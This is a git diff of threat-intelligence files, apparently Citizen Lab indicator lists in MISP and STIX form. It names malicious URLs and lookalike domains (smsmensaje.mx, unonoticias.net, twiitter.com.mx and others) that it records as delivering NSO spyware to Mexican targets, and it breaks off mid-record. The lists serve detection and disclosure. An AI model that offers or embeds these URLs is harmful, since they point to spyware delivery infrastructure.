(MISP Attribute #16253) + Malware Artifacts + URL Watchlist + Payload delivery: http://ideas-telcel.com.mx/7757294s (MISP Attribute #16253) + + + + + http://ideas-telcel.com.mx/7757294s + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://iusacell-movil.com.mx/7918310s/ (MISP Attribute #16254) + Malware Artifacts + URL Watchlist + Payload delivery: http://iusacell-movil.com.mx/7918310s/ (MISP Attribute #16254) + + + + + http://iusacell-movil.com.mx/7918310s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://iusacell-movil.com.mx/8595070s/ (MISP Attribute #16255) + Malware Artifacts + URL Watchlist + Payload delivery: http://iusacell-movil.com.mx/8595070s/ (MISP Attribute #16255) + + + + + http://iusacell-movil.com.mx/8595070s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://mymensaje-sms.com/6649365s/ (MISP Attribute #16256) + Malware Artifacts + URL Watchlist + Payload delivery: http://mymensaje-sms.com/6649365s/ (MISP Attribute #16256) + + + + + http://mymensaje-sms.com/6649365s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://fb-accounts.com/2408931s (MISP Attribute #16257) + Malware Artifacts + URL Watchlist + Payload delivery: https://fb-accounts.com/2408931s (MISP Attribute #16257) + + + + + https://fb-accounts.com/2408931s + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://ideas-telcel.com.mx/3975827s (MISP Attribute #16258) + Malware Artifacts + URL Watchlist + Payload delivery: https://ideas-telcel.com.mx/3975827s (MISP Attribute #16258) + + + + + https://ideas-telcel.com.mx/3975827s + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://ideas-telcel.com.mx/5706662s (MISP Attribute #16259) + Malware Artifacts + URL Watchlist + Payload delivery: https://ideas-telcel.com.mx/5706662s (MISP Attribute #16259) + + + + + https://ideas-telcel.com.mx/5706662s + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smscentro.com/9480260s/ (MISP Attribute #16260) + Malware Artifacts + URL Watchlist + Payload delivery: http://smscentro.com/9480260s/ (MISP Attribute #16260) + + + + + http://smscentro.com/9480260s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/1239663s/ (MISP Attribute #16261) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/1239663s/ (MISP Attribute #16261) + + + + + http://smsmensaje.mx/1239663s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/1331744s/ (MISP Attribute #16262) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/1331744s/ (MISP Attribute #16262) + + + + + http://smsmensaje.mx/1331744s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/1493024s/ (MISP Attribute #16263) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/1493024s/ (MISP Attribute #16263) + + + + + http://smsmensaje.mx/1493024s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/1656017s/ (MISP Attribute #16264) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/1656017s/ (MISP Attribute #16264) + + + + + http://smsmensaje.mx/1656017s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/1911343s/ (MISP Attribute #16265) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/1911343s/ (MISP Attribute #16265) + + + + + http://smsmensaje.mx/1911343s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/3376811s/ (MISP Attribute #16266) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/3376811s/ (MISP Attribute #16266) + + + + + http://smsmensaje.mx/3376811s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/3990495s/ (MISP Attribute #16267) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/3990495s/ (MISP Attribute #16267) + + + + + http://smsmensaje.mx/3990495s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/5957475s/ (MISP Attribute #16268) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/5957475s/ (MISP Attribute #16268) + + + + + http://smsmensaje.mx/5957475s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/6056487s/ (MISP Attribute #16269) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/6056487s/ (MISP Attribute #16269) + + + + + http://smsmensaje.mx/6056487s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/6445761s/ (MISP Attribute #16270) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/6445761s/ (MISP Attribute #16270) + + + + + http://smsmensaje.mx/6445761s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/6881768s/ (MISP Attribute #16271) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/6881768s/ (MISP Attribute #16271) + + + + + http://smsmensaje.mx/6881768s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/9093723s/ (MISP Attribute #16272) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/9093723s/ (MISP Attribute #16272) + + + + + http://smsmensaje.mx/9093723s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/9371877s/ (MISP Attribute #16273) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/9371877s/ (MISP Attribute #16273) + + + + + http://smsmensaje.mx/9371877s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/9439115s/ (MISP Attribute #16274) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/9439115s/ (MISP Attribute #16274) + + + + + http://smsmensaje.mx/9439115s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/9936510s/ (MISP Attribute #16275) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/9936510s/ (MISP Attribute #16275) + + + + + http://smsmensaje.mx/9936510s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://smsmensaje.mx/[unavailable] (MISP Attribute #16276) + Malware Artifacts + URL Watchlist + Payload delivery: http://smsmensaje.mx/[unavailable] (MISP Attribute #16276) + + + + + http://smsmensaje.mx/[unavailable] + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://network190.com/2066781s/ (MISP Attribute #16277) + Malware Artifacts + URL Watchlist + Payload delivery: https://network190.com/2066781s/ (MISP Attribute #16277) + + + + + https://network190.com/2066781s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://network190.com/6214010s/ (MISP Attribute #16278) + Malware Artifacts + URL Watchlist + Payload delivery: https://network190.com/6214010s/ (MISP Attribute #16278) + + + + + https://network190.com/6214010s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://network190.com/8361397s/ (MISP Attribute #16279) + Malware Artifacts + URL Watchlist + Payload delivery: https://network190.com/8361397s/ (MISP Attribute #16279) + + + + + https://network190.com/8361397s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://secure-access10.mx/2618844s/ (MISP Attribute #16280) + Malware Artifacts + URL Watchlist + Payload delivery: https://secure-access10.mx/2618844s/ (MISP Attribute #16280) + + + + + https://secure-access10.mx/2618844s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://secure-access10.mx/4257391s/ (MISP Attribute #16281) + Malware Artifacts + URL Watchlist + Payload delivery: https://secure-access10.mx/4257391s/ (MISP Attribute #16281) + + + + + https://secure-access10.mx/4257391s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://secure-access10.mx/7161504s/ (MISP Attribute #16282) + Malware Artifacts + URL Watchlist + Payload delivery: https://secure-access10.mx/7161504s/ (MISP Attribute #16282) + + + + + https://secure-access10.mx/7161504s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/2683786s/ (MISP Attribute #16283) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/2683786s/ (MISP Attribute #16283) + + + + + https://smsmensaje.mx/2683786s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/4494681s/ (MISP Attribute #16284) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/4494681s/ (MISP Attribute #16284) + + + + + https://smsmensaje.mx/4494681s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/4667624s/ (MISP Attribute #16285) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/4667624s/ (MISP Attribute #16285) + + + + + https://smsmensaje.mx/4667624s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/4878494s/ (MISP Attribute #16286) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/4878494s/ (MISP Attribute #16286) + + + + + https://smsmensaje.mx/4878494s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/5478753s/ (MISP Attribute #16287) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/5478753s/ (MISP Attribute #16287) + + + + + https://smsmensaje.mx/5478753s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/5732641s/ (MISP Attribute #16288) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/5732641s/ (MISP Attribute #16288) + + + + + https://smsmensaje.mx/5732641s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/5840625s/ (MISP Attribute #16289) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/5840625s/ (MISP Attribute #16289) + + + + + https://smsmensaje.mx/5840625s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/7831163s/ (MISP Attribute #16290) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/7831163s/ (MISP Attribute #16290) + + + + + https://smsmensaje.mx/7831163s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/7893029s/ (MISP Attribute #16291) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/7893029s/ (MISP Attribute #16291) + + + + + https://smsmensaje.mx/7893029s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/8435662s/ (MISP Attribute #16292) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/8435662s/ (MISP Attribute #16292) + + + + + https://smsmensaje.mx/8435662s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://smsmensaje.mx/8643330s/ (MISP Attribute #16293) + Malware Artifacts + URL Watchlist + Payload delivery: https://smsmensaje.mx/8643330s/ (MISP Attribute #16293) + + + + + https://smsmensaje.mx/8643330s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/1214510s/ (MISP Attribute #16294) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/1214510s/ (MISP Attribute #16294) + + + + + https://unonoticias.net/1214510s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/1419678s/ (MISP Attribute #16295) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/1419678s/ (MISP Attribute #16295) + + + + + https://unonoticias.net/1419678s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/1867745s/ (MISP Attribute #16296) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/1867745s/ (MISP Attribute #16296) + + + + + https://unonoticias.net/1867745s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/2046803s/ (MISP Attribute #16297) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/2046803s/ (MISP Attribute #16297) + + + + + https://unonoticias.net/2046803s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/3651023s/ (MISP Attribute #16298) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/3651023s/ (MISP Attribute #16298) + + + + + https://unonoticias.net/3651023s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/4392216s/ (MISP Attribute #16299) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/4392216s/ (MISP Attribute #16299) + + + + + https://unonoticias.net/4392216s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/4709973s/ (MISP Attribute #16300) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/4709973s/ (MISP Attribute #16300) + + + + + https://unonoticias.net/4709973s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/5027740s/ (MISP Attribute #16301) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/5027740s/ (MISP Attribute #16301) + + + + + https://unonoticias.net/5027740s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/5723329s/ (MISP Attribute #16302) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/5723329s/ (MISP Attribute #16302) + + + + + https://unonoticias.net/5723329s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/5851721s/ (MISP Attribute #16303) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/5851721s/ (MISP Attribute #16303) + + + + + https://unonoticias.net/5851721s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/6532946s/ (MISP Attribute #16304) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/6532946s/ (MISP Attribute #16304) + + + + + https://unonoticias.net/6532946s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/6809853s/ (MISP Attribute #16305) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/6809853s/ (MISP Attribute #16305) + + + + + https://unonoticias.net/6809853s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/6843502s/ (MISP Attribute #16306) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/6843502s/ (MISP Attribute #16306) + + + + + https://unonoticias.net/6843502s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/7564969s/ (MISP Attribute #16307) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/7564969s/ (MISP Attribute #16307) + + + + + https://unonoticias.net/7564969s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/7972736s/ (MISP Attribute #16308) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/7972736s/ (MISP Attribute #16308) + + + + + https://unonoticias.net/7972736s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/8167459s/ (MISP Attribute #16309) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/8167459s/ (MISP Attribute #16309) + + + + + https://unonoticias.net/8167459s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/8439927s/ (MISP Attribute #16310) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/8439927s/ (MISP Attribute #16310) + + + + + https://unonoticias.net/8439927s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/8592764s/ (MISP Attribute #16311) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/8592764s/ (MISP Attribute #16311) + + + + + https://unonoticias.net/8592764s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: https://unonoticias.net/9436744s/ (MISP Attribute #16312) + Malware Artifacts + URL Watchlist + Payload delivery: https://unonoticias.net/9436744s/ (MISP Attribute #16312) + + + + + https://unonoticias.net/9436744s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://tinyurl.com/j7luz86 (MISP Attribute #16313) + Malware Artifacts + URL Watchlist + Payload delivery: http://tinyurl.com/j7luz86 (MISP Attribute #16313) + + + + + http://tinyurl.com/j7luz86 + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://tinyurl.com/o2tq8rl (MISP Attribute #16314) + Malware Artifacts + URL Watchlist + Payload delivery: http://tinyurl.com/o2tq8rl (MISP Attribute #16314) + + + + + http://tinyurl.com/o2tq8rl + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://twiitter.com.mx/2857663s/ (MISP Attribute #16315) + Malware Artifacts + URL Watchlist + Payload delivery: http://twiitter.com.mx/2857663s/ (MISP Attribute #16315) + + + + + http://twiitter.com.mx/2857663s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://unonoticias.net/1214510s/ (MISP Attribute #16316) + Malware Artifacts + URL Watchlist + Payload delivery: http://unonoticias.net/1214510s/ (MISP Attribute #16316) + + + + + http://unonoticias.net/1214510s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://unonoticias.net/3423768s/ (MISP Attribute #16317) + Malware Artifacts + URL Watchlist + Payload delivery: http://unonoticias.net/3423768s/ (MISP Attribute #16317) + + + + + http://unonoticias.net/3423768s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://unonoticias.net/5819525s/ (MISP Attribute #16318) + Malware Artifacts + URL Watchlist + Payload delivery: http://unonoticias.net/5819525s/ (MISP Attribute #16318) + + + + + http://unonoticias.net/5819525s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://unonoticias.net/6218095s/ (MISP Attribute #16319) + Malware Artifacts + URL Watchlist + Payload delivery: http://unonoticias.net/6218095s/ (MISP Attribute #16319) + + + + + http://unonoticias.net/6218095s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://unonoticias.net/9250302s/ (MISP Attribute #16320) + Malware Artifacts + URL Watchlist + Payload delivery: http://unonoticias.net/9250302s/ (MISP Attribute #16320) + + + + + http://unonoticias.net/9250302s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://unonoticias.net/9804185s/ (MISP Attribute #16321) + Malware Artifacts + URL Watchlist + Payload delivery: http://unonoticias.net/9804185s/ (MISP Attribute #16321) + + + + + http://unonoticias.net/9804185s/ + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Event Threat Level: High + + + MISP Tag: TLP:GREEN + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + MISP Tag: TARGET:MEXICO + + + + + citizenlab + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201706_RecklessRedux/iocs.csv b/data/ioc/spyware/citizen_lab/201706_RecklessRedux/iocs.csv new file mode 100644 index 0000000..fe322fe --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201706_RecklessRedux/iocs.csv @@ -0,0 +1,10 @@ +uuid,event_id,category,type,value,comment,to_ids,date +59550c2c-0184-45e7-935a-06b28e96ca05,107,Network activity,url,"https://smsmensaje.mx/1351276s/","",1,20170629 +59550c2c-3820-4007-8f14-06b28e96ca05,107,Network activity,url,"https://smsmensaje.mx/8306090s/","",1,20170629 +59550c2c-7530-43d1-96c0-06b28e96ca05,107,Network activity,url,"http://bit.ly/1WONumj","",1,20170629 +59550c2c-9e44-4b22-b65a-06b28e96ca05,107,Network activity,url,"https://smsmensaje.mx/9993247s/","",1,20170629 +59550c2c-a2f8-4861-af47-06b28e96ca05,107,Network activity,url,"http://bit.ly/1WRYHm8","",1,20170629 +59550c2c-aa30-4e89-831d-06b28e96ca05,107,Network activity,url,"https://smsmensaje.mx/4995075s/","",1,20170629 +59550c2c-d8dc-4c5c-a8e7-06b28e96ca05,107,Network activity,url,"http://bit.ly/29F2psM","",1,20170629 +59550c2c-ef48-4348-902f-06b28e96ca05,107,Network activity,url,"http://bit.ly/1UUsVi6","",1,20170629 +59550c3b-22ac-4348-add4-06b38e96ca05,107,Network activity,domain,"smsmensaje.mx","",1,20170629 diff --git a/data/ioc/spyware/citizen_lab/201706_RecklessRedux/misp.json b/data/ioc/spyware/citizen_lab/201706_RecklessRedux/misp.json new file mode 100644 index 0000000..0cd42bb --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201706_RecklessRedux/misp.json @@ -0,0 +1,282 @@ +{"response":[{ + "Event": { + "id": "107", + "orgc_id": "2", + "org_id": "2", + "date": "2017-06-29", + "threat_level_id": "2", + "info": "Reckless Redux: Senior Mexican Legislators and Politicians Targeted with NSO Spyware", + "published": true, + "uuid": "59550bab-3ce0-48c3-ba55-06b28e96ca05", + "attribute_count": "9", + "analysis": "2", + "timestamp": "1498745915", + "distribution": "1", + "proposal_email_lock": false, + "locked": false, + "publish_timestamp": "1498745924", + "sharing_group_id": "0", + "Org": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Orgc": { + "id": "2", + "name": "citizenlab", + "uuid": "581b5fea-818c-441a-bd1d-49798e96ca05" + }, + "Attribute": [ + { + "id": "16345", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "59550c3b-22ac-4348-add4-06b38e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745915", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "smsmensaje.mx", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ], + "RelatedAttribute": [ + { + "Attribute": { + "id": "104", + "org_id": "2", + "info": "Reckless Exploit: Mexican Journalists, Lawyers, and a Child Targeted with NSO Spyware", + "value": "smsmensaje.mx" + } + } + ] + }, + { + "id": "16337", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "59550c2c-d8dc-4c5c-a8e7-06b28e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745900", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/29F2psM", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16338", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "59550c2c-3820-4007-8f14-06b28e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745900", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/8306090s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16339", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "59550c2c-7530-43d1-96c0-06b28e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745900", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1WONumj", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16340", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "59550c2c-aa30-4e89-831d-06b28e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745900", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/4995075s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16341", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "59550c2c-a2f8-4861-af47-06b28e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745900", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1WRYHm8", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16342", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "59550c2c-0184-45e7-935a-06b28e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745900", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "https:\/\/smsmensaje.mx\/1351276s\/", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16343", + "type": "url", + "category": "Network activity", + "to_ids": true, + "uuid": "59550c2c-ef48-4348-902f-06b28e96ca05", + "event_id": "107", + "distribution": "5", + "timestamp": "1498745900", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "http:\/\/bit.ly\/1UUsVi6", + "SharingGroup": [ + + ], + "ShadowAttribute": [ + + ] + }, + { + "id": "16344", + "type": "url", + "category": "Network 